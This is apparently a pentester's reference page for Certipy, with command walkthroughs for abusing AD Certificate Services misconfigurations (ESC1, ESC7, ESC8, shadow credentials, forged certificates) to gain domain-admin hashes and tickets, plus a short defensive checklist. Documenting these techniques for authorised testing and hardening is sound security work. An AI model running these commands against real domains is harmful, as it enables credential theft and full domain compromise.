Certipy & ADCS attacks

Field Detail
Summary Abuse AD Certificate Services (ESC1-8) for escalation
Category Windows/AD certificate abuse
Phase enumeration, post-exploitation
Interface CLI
Platform Linux
Licence Open source (MIT)
Docs https://github.com/ly4k/Certipy
Related BloodHound and SharpHound, Impacket, Rubeus, NetExec (CrackMapExec)

Active Directory Certificate Services (AD CS) issues certificates inside a domain. Misconfigured certificate templates let a low-privileged user obtain a certificate that authenticates as a privileged account — often a direct path to Domain Admin. Certipy finds and abuses these (the "ESC" techniques from SpecterOps' Certified Pre-Owned).

⚠️ Warning — High-impact, in scope only A successful ESC1/ESC8 can yield domain compromise from a standard user. These change AD state (request/enroll certs). Authorised engagements only; document every cert requested so the client can revoke them.

Find the CA and vulnerable templates (start here)

certipy find -u jdoe@corp.local -p 'Pass' -dc-ip 10.10.10.5
certipy find -u jdoe@corp.local -p 'Pass' -dc-ip 10.10.10.5 -vulnerable -stdout
certipy find ... -vulnerable -enabled        # only enabled + vulnerable templates

Output (.txt/.json/BloodHound) lists CAs, templates, enrollment rights, and flags [!] Vulnerabilities with the ESC number. BloodHound and SharpHound can ingest the JSON to graph cert paths.

The ESC families (know what each means)

ESC Misconfiguration Abuse
ESC1 Template allows enrollee-supplied SAN + client-auth, low-priv enroll Request a cert as any user (e.g. Administrator)
ESC2 Template with Any Purpose / no EKU Use cert for anything
ESC3 Enrollment Agent template Request certs on behalf of others
ESC4 Template object is writable Rewrite it to be ESC1, then abuse
ESC6 CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 SAN injection regardless of template
ESC7 Vulnerable CA permissions (ManageCA) Grant yourself enrollment / enable SAN
ESC8 Web enrollment + NTLM relay Relay a DC's auth to the CA for a cert
ESC9/10/11 Weak mapping / no strong binding Various impersonation

ESC1 — the classic (enrollee-supplied SAN)

# Request a cert for the template, specifying Administrator as the SAN
certipy req -u jdoe@corp.local -p 'Pass' -dc-ip 10.10.10.5 \
   -ca 'CORP-CA' -template 'VulnTemplate' -upn administrator@corp.local
#   -> administrator.pfx

# Authenticate with the cert -> get a TGT and the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
#   -> TGT (.ccache) + NTLM hash for Administrator

Then use the hash/ticket with Impacket / NetExec (CrackMapExec) / Rubeus.

ESC8 — relay web enrollment (pairs with Responder/ntlmrelayx)

# Stand up the relay pointing at the CA's web enrollment endpoint
certipy relay -target 'http://ca.corp.local' -template DomainController
# then coerce a DC's authentication (PetitPotam/PrinterBug) toward you -> cert for the DC

See Responder and relay basics for the coercion/relay mechanics.

ESC7 — abuse ManageCA rights

certipy ca -u jdoe@corp.local -p 'Pass' -ca 'CORP-CA' -add-officer jdoe
certipy ca ... -enable-template 'SubCA'
# then request as ESC1

Shadow Credentials (related, via key trust)

certipy shadow auto -u jdoe@corp.local -p 'Pass' -account targetuser -dc-ip 10.10.10.5
#   adds a KeyCredentialLink, authenticates, returns targetuser's NT hash

Useful extras

certipy account ...        # read/modify account attributes
certipy template ...       # read/write template config
certipy forge ...          # forge a cert if you have the CA private key (golden cert)
certipy auth -pfx x.pfx -ldap-shell     # LDAP shell via cert (PKINIT + schannel)

Defensive angle (be able to explain)

  • Audit templates: remove enrollee-supplied SAN on client-auth templates (ESC1); restrict enrollment rights; remove Any Purpose/no-EKU (ESC2).
  • Remove the EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag (ESC6).
  • Disable NTLM to AD CS web enrollment / enforce EPA + HTTPS (ESC8).
  • Enable strong certificate mapping (KB5014754) to kill ESC9/10.
  • Tightly control ManageCA/ManageCertificates (ESC7). Monitor certificate issuance (Event ID 4886/4887).

More certipy commands

certipy find -u u@corp.local -p p -dc-ip DC -vulnerable -enabled -stdout   # only exploitable
certipy req  -u u@corp.local -p p -ca CORP-CA -template Vuln -upn administrator@corp.local -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC               # pfx -> TGT + NT hash
certipy auth -pfx x.pfx -ldap-shell                        # schannel LDAP shell
certipy shadow auto -u u@corp.local -p p -account target -dc-ip DC   # shadow creds -> hash
certipy ca -u u@corp.local -p p -ca CORP-CA -add-officer u  # ESC7
certipy forge -ca-pfx ca.pfx -upn administrator@corp.local  # golden cert (needs CA key)
certipy template / parse / account ...                     # read/modify config, parse output

Helpers when resolution is awkward: -target, -ns <dns>, -dns-tcp.

Kill-chain usage

Enumeration

certipy find -u u@corp -p p -dc-ip DC -vulnerable   # exploitable templates

Post-exploitation

certipy req ... -upn administrator@corp && certipy auth -pfx admin.pfx   # become DA

Where it fits

A modern, high-yield privilege-escalation/lateral path in AD. Run certipy find -vulnerable during AD enumeration (alongside BloodHound and SharpHound); if a template is vulnerable it often beats cracking or relaying. The cert yields a hash/TGT you then wield with Rubeus, Impacket and NetExec (CrackMapExec).